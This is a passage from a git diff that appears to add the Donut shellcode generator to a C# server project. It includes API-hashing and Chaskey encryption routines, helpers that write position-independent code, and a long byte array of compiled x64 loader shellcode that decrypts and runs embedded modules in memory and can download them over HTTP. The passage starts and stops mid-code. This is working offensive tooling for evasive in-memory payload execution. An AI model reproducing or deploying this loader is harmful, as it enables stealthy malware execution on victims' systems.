true; + } + else + { + m.b[ind] = api[len]; + ind++; len++; + } + if (ind == Constants.MARU_BLK_LEN) + { + h ^= Maru_Crypt(m, h); + ind = 0; + } + } + return h; + } + public unsafe static UInt64 Maru_Crypt(M m, UInt64 p) + { + UInt32[] k = new UInt32[4]; + UInt32 t, i; + UInt32[] c = new UInt32[4]; + byte[] f = new byte[16]; + + for (int z = 0; z < 16; z++) + { + f[z] = m.b[z]; + } + Buffer.BlockCopy(f, 0, c, 0, 16); + + X x = new X(); + + x.q[0] = p; + for (i = 0; i < 4; i++) + { + k[i] = c[i]; + } + + for (i = 0; i < 27; i++) + { + x.w[0] = ((((x.w[0]) >> (8)) | ((x.w[0]) << (32 - (8)))) + x.w[1]) ^ k[0]; + x.w[1] = (((x.w[1]) >> (29)) | ((x.w[1]) << (32 - (29)))) ^ x.w[0]; + t = k[3]; + + k[3] = ((((k[1]) >> (8)) | ((k[1]) << (32 - (8)))) + k[0]) ^ i; + k[0] = (((k[0]) >> (29)) | ((k[0]) << (32 - (29)))) ^ k[3]; + + k[1] = k[2]; + k[2] = t; + } + return x.q[0]; + } + public unsafe static void Encrypt(byte[] mk, byte[] ctr, IntPtr data, UInt64 size) + { + int len = Convert.ToInt32(size); + byte[] outbuff = new byte[16]; + byte[] x = new byte[16]; + byte[] p = new byte[size]; + byte[] c = ctr; + int i, r; + + for (int f = 0; f < len; f++) + { + p[f] = Marshal.ReadByte(data, f); + } + int counter = 0; + while (len > 0) + { + for (i = 0; i < Constants.CIPHER_BLK_LEN; i++) + { + x[i] = c[i]; + } + + outbuff = Chaskey(mk, x); + + r = len > Constants.CIPHER_BLK_LEN ? Constants.CIPHER_BLK_LEN : len; + + for (i = 0; i < r; i++) + { + p[i + counter] ^= outbuff[i]; + } + len -= r; + counter += 16; + + // This is ugly, fix + // Just need to increment c[12] as int everytime + for (i = Constants.CIPHER_BLK_LEN; i > 0;) + { + if (c[15] == 255) + { + if (c[14] == 255) + { + c[13] = Convert.ToByte(c[13] + 1); + c[14] = Convert.ToByte(0); + c[15] = Convert.ToByte(0); + break; + } + else + { + c[14] = Convert.ToByte(c[14] + 1); + c[15] = Convert.ToByte(0); + break; + } + } + else + { + c[15] = Convert.ToByte(c[15] + 1); + break; + } + } + } + for (int f = 0; f < Convert.ToInt32(size); f++) + { + Marshal.WriteByte(data + f, 0, p[f]); + } + } + public static byte[] Chaskey(byte[] mk, byte[] datain) + { + uint[] key = new uint[4]; + uint[] data = new uint[4]; + Buffer.BlockCopy(mk, 0, key, 0, 16); + Buffer.BlockCopy(datain, 0, data, 0, 16); + + for (int i = 0; i < 4; i++) + { + data[i] ^= key[i]; + } + + for (int i = 0; i < 16; i++) + { + data[0] += data[1]; + data[1] = ((((data[1]) >> 27)) | ((data[1]) << (32 - (27)))) ^ data[0]; + data[2] += data[3]; + data[3] = ((((data[3]) >> 24)) | ((data[3]) << (32 - (24)))) ^ data[2]; + data[2] += data[1]; + data[0] = ((((data[0]) >> 16)) | ((data[0]) << (32 - (16)))) + data[3]; + data[3] = ((((data[3]) >> 19)) | ((data[3]) << (32 - (19)))) ^ data[0]; + data[1] = ((((data[1]) >> 25)) | ((data[1]) << (32 - (25)))) ^ data[2]; + data[2] = ((((data[2]) >> 16)) | ((data[2]) << (32 - (16)))); + } + for (int i = 0; i < 4; i++) + { + data[i] ^= key[i]; + } + + return data.SelectMany(BitConverter.GetBytes).ToArray(); + } + public static void PUT_BYTE(byte insertbyte, ref DSConfig config) + { + IntPtr ptr = config.pic + config.pic_cnt; + byte[] src = { 0x00, insertbyte }; + Marshal.WriteByte(ptr, src[1]); + config.pic_cnt++; + } + public static void PUT_WORD(byte[] sarr, ref DSConfig config) + { + IntPtr ptr = config.pic + config.pic_cnt; + for (int i = 0; i < 4; i++) + { + Marshal.WriteByte(ptr + i, sarr[i]); + config.pic_cnt++; + } + } + public static void PUT_BYTES(byte[] sarr, int cnt, ref DSConfig config) + { + IntPtr ptr = config.pic + config.pic_cnt; + for (int i = 0; i < cnt; i++) + { + Marshal.WriteByte(ptr + i, sarr[i]); + config.pic_cnt++; + } + } + public static void PUT_INST(IntPtr instptr, int cnt, ref DSConfig config) + { + IntPtr ptr = config.pic + config.pic_cnt; + for (int i = 0; i < cnt; i++) + { + Marshal.WriteByte(ptr + i, Marshal.ReadByte(instptr + i)); + config.pic_cnt++; + } + Marshal.FreeHGlobal(instptr); + } + public static string RandomString(int length) + { + Random random = new Random(); + const string chars = "HMN34P67R9TWCXYF"; + return new string(Enumerable.Repeat(chars, length) + .Select(s => s[random.Next(s.Length)]).ToArray()); + } + public static byte[] RandomBytes(int length) + { + byte[] rand = new byte[length]; + RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider(); + rng.GetBytes(rand); + return rand; + } + public static void Unicode(byte[] dest, string buff) + { + byte[] str = Encoding.Convert(Encoding.ASCII, Encoding.Unicode, Encoding.ASCII.GetBytes(buff)); + Array.Copy(str, dest, str.Length); + } + + public static string String(char[] source) + { + return new string(source).Replace("\0", ""); + } + public static void Copy(char[] dest, string source) + { + Array.Copy(source.ToCharArray(), 0, dest, 0, source.ToCharArray().Length); + } + public static void Copy(byte[] dest, string source) + { + byte[] src = Encoding.ASCII.GetBytes(source); + Array.Copy(src, 0, dest, 0, src.Length); + } + } +} diff --git a/Server/Helper/Donut/Payloads/payload_exe_x64.cs b/Server/Helper/Donut/Payloads/payload_exe_x64.cs new file mode 100644 index 0000000..aedbec5 --- /dev/null +++ b/Server/Helper/Donut/Payloads/payload_exe_x64.cs @@ -0,0 +1,718 @@ +namespace Server.Helper.Donut.Payloads +{ + public class payload_exe_x64 + { + public static readonly byte[] PAYLOAD_EXE_X64 = { + 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, + 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x60, 0x4c, 0x8b, 0x41, 0x28, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x51, 0x48, + 0xe8, 0xd7, 0x1d, 0x00, 0x00, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xcb, + 0x48, 0x8b, 0x53, 0x50, 0x48, 0x8b, 0xf8, 0xe8, 0xc4, 0x1d, 0x00, 0x00, + 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xff, 0x0f, 0x84, 0x1d, 0x02, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x14, 0x02, 0x00, 0x00, 0x8b, 0x13, 0x33, + 0xc9, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, + 0xd7, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xf8, 0x01, 0x00, + 0x00, 0x44, 0x8b, 0x03, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xc8, 0xe8, 0x99, + 0x20, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x44, 0x8d, + 0x42, 0x40, 0xe8, 0xa9, 0x20, 0x00, 0x00, 0x44, 0x8b, 0x0f, 0x48, 0x8d, + 0xaf, 0x30, 0x02, 0x00, 0x00, 0x49, 0x81, 0xe9, 0x30, 0x02, 0x00, 0x00, + 0x48, 0x8d, 0x57, 0x14, 0x48, 0x8d, 0x4f, 0x04, 0x4c, 0x8b, 0xc5, 0xe8, + 0x38, 0x1f, 0x00, 0x00, 0x48, 0x8b, 0x57, 0x28, 0x48, 0x8d, 0x8f, 0x28, + 0x06, 0x00, 0x00, 0xe8, 0xe0, 0x1d, 0x00, 0x00, 0x48, 0x3b, 0x87, 0x28, + 0x07, 0x00, 0x00, 0x0f, 0x85, 0x41, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x47, + 0x28, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x57, 0x30, 0xe8, 0x27, 0x1d, 0x00, + 0x00, 0x48, 0x89, 0x47, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x7f, 0x01, + 0x00, 0x00, 0x33, 0xdb, 0x39, 0x9f, 0x34, 0x02, 0x00, 0x00, 0x76, 0x1d, + 0x8b, 0xc3, 0x48, 0x8d, 0x8f, 0x38, 0x02, 0x00, 0x00, 0x48, 0xc1, 0xe0, + 0x05, 0x48, 0x03, 0xc8, 0xff, 0x57, 0x30, 0xff, 0xc3, 0x3b, 0x9f, 0x34, + 0x02, 0x00, 0x00, 0x72, 0xe3, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x39, 0x75, + 0x00, 0x76, 0x28, 0x4c, 0x8b, 0x47, 0x28, 0x48, 0x8b, 0xcf, 0x8b, 0xde, + 0x48, 0x8b, 0x54, 0xdf, 0x30, 0xe8, 0xd6, 0x1c, 0x00, 0x00, 0x48, 0x89, + 0x44, 0xdf, 0x30, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xd2, 0x00, 0x00, 0x00, + 0xff, 0xc6, 0x3b, 0x75, 0x00, 0x72, 0xd8, 0x8b, 0x87, 0x1c, 0x05, 0x00, + 0x00, 0x83, 0xf8, 0x02, 0x75, 0x16, 0x48, 0x8b, 0xcf, 0xe8, 0x6a, 0x05, + 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0xb0, 0x00, 0x00, 0x00, 0x8b, 0x87, + 0x1c, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x9f, 0x58, 0x07, 0x00, 0x00, 0x83, + 0xf8, 0x01, 0x74, 0x03, 0x48, 0x8b, 0x1b, 0x83, 0xbf, 0x40, 0x03, 0x00, + 0x00, 0x01, 0x74, 0x2a, 0x48, 0x8b, 0xcf, 0xe8, 0x0c, 0x03, 0x00, 0x00, + 0x85, 0xc0, 0x75, 0x09, 0x83, 0xbf, 0x40, 0x03, 0x00, 0x00, 0x02, 0x74, + 0x7d, 0x48, 0x8b, 0xcf, 0xe8, 0x0f, 0x04, 0x00, 0x00, 0x85, 0xc0, 0x75, + 0x09, 0x83, 0xbf, 0x40, 0x03, 0x00, 0x00, 0x02, 0x74, 0x68, 0x8b, 0x0b, + 0x8d, 0x41, 0xfd, 0x83, 0xf8, 0x01, 0x76, 0x56, 0x8d, 0x41, 0xff, 0x83, + 0xf8, 0x01, 0x76, 0x21, 0x8d, 0x41, 0xfb, 0x83, 0xf8, 0x01, 0x76, 0x0f, + 0x83, 0xf9, 0x07, 0x75, 0x49, 0x48, 0x8b, 0xcf, 0xe8, 0xcf, 0x1a, 0x00, + 0x00, 0xeb, 0x3f, 0x48, 0x8b, 0xcf, 0xe8, 0xe1, 0x17, 0x00, 0x00, 0xeb, + 0x35, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcf, 0xe8, 0xa2, 0x0d, + 0x00, 0x00, 0x85, 0xc0, 0x74, 0x0d, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, + 0x8b, 0xcf, 0xe8, 0x9d, 0x0f, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, + 0x48, 0x8b, 0xcf, 0xe8, 0x30, 0x09, 0x00, 0x00, 0xeb, 0x08, 0x48, 0x8b, + 0xcf, 0xe8, 0xe2, 0x12, 0x00, 0x00, 0x83, 0xbf, 0x1c, 0x05, 0x00, 0x00, + 0x02, 0xbb, 0x00, 0xc0, 0x00, 0x00, 0x75, 0x31, 0x48, 0x8b, 0x8f, 0x58, + 0x07, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x25, 0x44, 0x8b, 0x87, 0x50, + 0x07, 0x00, 0x00, 0x33, 0xd2, 0xe8, 0x02, 0x1f, 0x00, 0x00, 0x48, 0x8b, + 0x8f, 0x58, 0x07, 0x00, 0x00, 0x44, 0x8b, 0xc3, 0x33, 0xd2, 0xff, 0x57, + 0x50, 0x48, 0x83, 0xa7, 0x58, 0x07, 0x00, 0x00, 0x00, 0x44, 0x8b, 0x07, + 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xde, 0x1e, 0x00, 0x00, 0x44, 0x8b, + 0xc3, 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0x41, 0xff, 0xd6, 0x33, 0xc0, 0xeb, + 0x03, 0x83, 0xc8, 0xff, 0x4c, 0x8d, 0x5c, 0x24, 0x60, 0x49, 0x8b, 0x5b, + 0x10, 0x49, 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b, + 0x28, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0xcc, 0xf0, 0xff, 0x41, 0x08, + 0x8b, 0x41, 0x08, 0xc3, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc3, 0xcc, 0xcc, + 0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, + 0x8b, 0x49, 0x10, 0x49, 0x8b, 0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b, + 0x02, 0x75, 0x0d, 0x49, 0x8b, 0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b, + 0x42, 0x08, 0x74, 0x19, 0x49, 0x8b, 0x81, 0xbc, 0x04, 0x00, 0x00, 0x48, + 0x3b, 0x02, 0x75, 0x17, 0x49, 0x8b, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x48, + 0x3b, 0x42, 0x08, 0x75, 0x0a, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08, + 0x33, 0xc0, 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, + 0xc3, 0xcc, 0xcc, 0xcc, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x08, + 0xff, 0xc8, 0xc3, 0xcc, 0x33, 0xc0, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x41, 0x8b, 0xe8, 0x48, 0x8b, + 0xf1, 0x41, 0xf6, 0xc0, 0x02, 0x74, 0x1b, 0x48, 0x8b, 0x5c, 0x24, 0x50, + 0x48, 0x85, 0xdb, 0x74, 0x1c, 0x48, 0x8b, 0x49, 0x38, 0x48, 0x8b, 0x01, + 0xff, 0x50, 0x08, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x89, 0x03, 0x40, 0xf6, + 0xc5, 0x01, 0x74, 0x1c, 0x48, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, + 0x00, 0x80, 0xeb, 0x12, 0x48, 0x8d, 0x5e, 0x28, 0x48, 0x8b, 0x03, 0x48, + 0x8b, 0xcb, 0xff, 0x50, 0x08, 0x48, 0x89, 0x1f, 0x33, 0xc0, 0x48, 0x8b, + 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, + 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0x41, 0x58, 0x48, 0x8b, 0xda, 0xff, 0x50, 0x78, + 0x89, 0x03, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x8b, 0xc4, 0x53, 0x48, 0x83, 0xec, 0x60, 0x83, 0x60, 0x20, 0x00, + 0x48, 0x8d, 0x48, 0xb8, 0x83, 0x60, 0x18, 0x00, 0x48, 0x8b, 0xda, 0x83, + 0x60, 0x10, 0x00, 0x33, 0xd2, 0x44, 0x8d, 0x42, 0x40, 0xe8, 0x7e, 0x1d, + 0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, + 0xcb, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x75, 0x1e, 0x48, 0x8b, 0x03, 0x4c, + 0x8d, 0x4c, 0x24, 0x78, 0x4c, 0x8d, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x94, 0x24, 0x88, 0x00, 0x00, 0x00, 0xff, + 0x50, 0x20, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x60, 0x5b, 0xc3, 0xcc, 0xcc, + 0x4d, 0x85, 0xc0, 0x75, 0x06, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xc3, 0x4c, + 0x8b, 0x49, 0x58, 0x49, 0x8b, 0x81, 0xfc, 0x03, 0x00, 0x00, 0x48, 0x3b, + 0x02, 0x75, 0x0d, 0x49, 0x8b, 0x81, 0x04, 0x04, 0x00, 0x00, 0x48, 0x3b, + 0x42, 0x08, 0x74, 0x19, 0x49, 0x8b, 0x81, 0xac, 0x04, 0x00, 0x00, 0x48, + 0x3b, 0x02, 0x75, 0x16, 0x49, 0x8b, 0x81, 0xb4, 0x04, 0x00, 0x00, 0x48, + 0x3b, 0x42, 0x08, 0x75, 0x09, 0x49, 0x89, 0x08, 0xf0, 0xff, 0x41, 0x08, + 0xeb, 0x20, 0x49, 0x8b, 0x81, 0xbc, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x02, + 0x75, 0x17, 0x49, 0x8b, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x48, 0x3b, 0x42, + 0x08, 0x75, 0x0a, 0x48, 0x8d, 0x41, 0x10, 0x49, 0x89, 0x00, 0x33, 0xc0, + 0xc3, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0xc3, 0xcc, + 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc, + 0x0f, 0xaf, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0x44, 0x24, + 0x28, 0x83, 0x20, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0x8d, 0x04, 0x11, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x6c, 0x24, 0x20, 0x56, 0x57, + 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x81, 0xc1, + 0x38, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, 0x8b, 0xf8, 0x48, 0x85, + 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe9, 0xd4, 0x00, 0x00, + 0x00, 0x48, 0x8d, 0x93, 0xac, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff, + 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xb9, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x97, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x35, + 0x84, 0xff, 0xff, 0xff, 0x41, 0x2b, 0xce, 0x0f, 0x88, 0xa2, 0x00, 0x00, + 0x00, 0x8b, 0xe9, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x8b, 0xd1, 0x41, 0xb8, + 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, + 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x44, 0x8b, 0xc5, 0x49, 0x8b, 0xd6, + 0x48, 0x8b, 0xce, 0xe8, 0xfc, 0x1b, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, + 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xff, + 0x53, 0x60, 0x48, 0x8d, 0x93, 0xbc, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcf, + 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x50, 0x48, + 0x8d, 0x0d, 0x42, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x2d, 0x2f, 0xff, 0xff, + 0xff, 0x2b, 0xcd, 0x78, 0x3e, 0x8b, 0xf9, 0x4c, 0x8d, 0x4c, 0x24, 0x40, + 0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, + 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 0x8b, 0xc7, 0x48, 0x8b, 0xd5, + 0x48, 0x8b, 0xce, 0xe8, 0x9c, 0x1b, 0x00, 0x00, 0x44, 0x8b, 0x44, 0x24, + 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, + 0x53, 0x60, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x8b, 0x5c, + 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x83, 0xc4, 0x20, 0x41, + 0x5e, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x89, 0x6c, + 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0xd9, 0x48, 0x81, 0xc1, 0x4c, 0x03, 0x00, 0x00, 0xff, 0x53, 0x30, 0x48, + 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0xe9, 0xd4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x93, 0x5c, 0x03, 0x00, 0x00, + 0x48, 0x8b, 0xcf, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, + 0x0f, 0x84, 0xb9, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xff, 0x17, 0x00, + 0x00, 0x4c, 0x8d, 0x35, 0xfc, 0xfc, 0xff, 0xff, 0x41, 0x2b, 0xce, 0x0f, + 0x88, 0xa2, 0x00, 0x00, 0x00, 0x8b, 0xe9, 0x4c, 0x8d, 0x4c, 0x24, 0x40, + 0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0xff, + 0x53, 0x60, 0x85, 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x44, 0x8b, + 0xc5, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0xce, 0xe8, 0xe4, 0x1a, 0x00, 0x00, + 0x44, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd5, + 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0x48, 0x8d, 0x93, 0x7c, 0x03, 0x00, + 0x00, 0x48, 0x8b, 0xcf, 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf0, 0x48, 0x85, + 0xc0, 0x74, 0x50, 0x48, 0x8d, 0x0d, 0x8e, 0x17, 0x00, 0x00, 0x48, 0x8d, + 0x2d, 0x7b, 0x17, 0x00, 0x00, 0x2b, 0xcd, 0x78, 0x3e, 0x8b, 0xf9, 0x4c, + 0x8d, 0x4c, 0x24, 0x40, 0x8b, 0xd1, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0xc8, 0xff, 0x53, 0x60, 0x85, 0xc0, 0x74, 0x25, 0x44, 0x8b, + 0xc7, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xce, 0xe8, 0x84, 0x1a, 0x00, 0x00, + 0x44, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8b, 0xd7, + 0x48, 0x8b, 0xce, 0xff, 0x53, 0x60, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x33, + 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, + 0x83, 0xc4, 0x20, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0x40, 0x55, 0x53, 0x56, + 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xac, + 0x24, 0x48, 0xfe, 0xff, 0xff, 0x48, 0x81, 0xec, 0xb8, 0x02, 0x00, 0x00, + 0x83, 0xa5, 0x08, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x45, 0x33, + 0xf6, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x33, 0xd2, 0xbe, 0x00, 0x02, 0x60, + 0x84, 0x41, 0x8d, 0x5e, 0x68, 0x44, 0x8b, 0xc3, 0xe8, 0x37, 0x1a, 0x00, + 0x00, 0x48, 0x8d, 0x45, 0xb0, 0x89, 0x5c, 0x24, 0x40, 0x48, 0x89, 0x44, + 0x24, 0x58, 0x48, 0x8d, 0x8f, 0x20, 0x05, 0x00, 0x00, 0x48, 0x8d, 0x85, + 0xb0, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x89, 0x45, 0x88, 0x4c, 0x8d, + 0x4c, 0x24, 0x40, 0xb8, 0x00, 0x01, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, + 0x00, 0x10, 0x89, 0x44, 0x24, 0x60, 0x89, 0x45, 0x90, 0xff, 0x97, 0xc8, + 0x00, 0x00, 0x00, 0x33, 0xdb, 0x85, 0xc0, 0x0f, 0x84, 0x0d, 0x02, 0x00, + 0x00, 0x83, 0x7c, 0x24, 0x54, 0x04, 0xb8, 0x00, 0x32, 0xe0, 0x84, 0x44, + 0x8b, 0xe3, 0x89, 0x5c, 0x24, 0x20, 0x41, 0x0f, 0x94, 0xc4, 0x0f, 0x44, + 0xf0, 0x45, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xff, + 0x97, 0xd0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x0f, + 0x84, 0xd9, 0x01, 0x00, 0x00, 0x44, 0x0f, 0xb7, 0x44, 0x24, 0x64, 0x48, + 0x8d, 0x55, 0xb0, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x45, 0x33, 0xc9, 0x89, + 0x5c, 0x24, 0x30, 0x48, 0x8b, 0xc8, 0xc7, 0x44, 0x24, 0x28, 0x03, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0xd8, 0x00, 0x00, + 0x00, 0x4c, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x51, 0x01, 0x00, + 0x00, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x8d, 0x97, 0x20, 0x06, 0x00, + 0x00, 0x89, 0x74, 0x24, 0x30, 0x4c, 0x8d, 0x85, 0xb0, 0x00, 0x00, 0x00, + 0x48, 0x89, 0x5c, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0xc8, 0x48, + 0x89, 0x5c, 0x24, 0x20, 0xff, 0x97, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0xd8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x0f, 0x01, 0x00, 0x00, 0x45, 0x85, + 0xe4, 0x74, 0x28, 0x0f, 0xba, 0xe6, 0x0c, 0x73, 0x22, 0x45, 0x8d, 0x4e, + 0x04, 0xc7, 0x85, 0x10, 0x02, 0x00, 0x00, 0x80, 0x33, 0x00, 0x00, 0x4c, + 0x8d, 0x85, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x41, 0x8d, 0x56, + 0x1f, 0xff, 0x97, 0xe0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xe4, 0x45, 0x33, + 0xc9, 0x45, 0x33, 0xc0, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x48, + 0x8b, 0xcb, 0xff, 0x97, 0x00, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, + 0xb8, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8d, 0x00, 0x02, 0x00, 0x00, 0xc7, + 0x85, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x85, + 0x08, 0x02, 0x00, 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x13, 0x00, + 0x00, 0x20, 0x48, 0x8b, 0xcb, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x85, + 0xc0, 0x0f, 0x84, 0x85, 0x00, 0x00, 0x00, 0x81, 0xbd, 0x08, 0x02, 0x00, + 0x00, 0xc8, 0x00, 0x00, 0x00, 0x75, 0x79, 0x48, 0x8d, 0xb7, 0x50, 0x07, + 0x00, 0x00, 0xc7, 0x85, 0x00, 0x02, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x26, 0x4c, 0x8d, 0x8d, 0x00, 0x02, 0x00, + 0x00, 0x4c, 0x89, 0x64, 0x24, 0x20, 0xba, 0x05, 0x00, 0x00, 0x20, 0x48, + 0x8b, 0xcb, 0xff, 0x97, 0x08, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x44, + 0x48, 0x8b, 0x16, 0x48, 0x85, 0xd2, 0x74, 0x3c, 0x33, 0xc9, 0x45, 0x8d, + 0x4c, 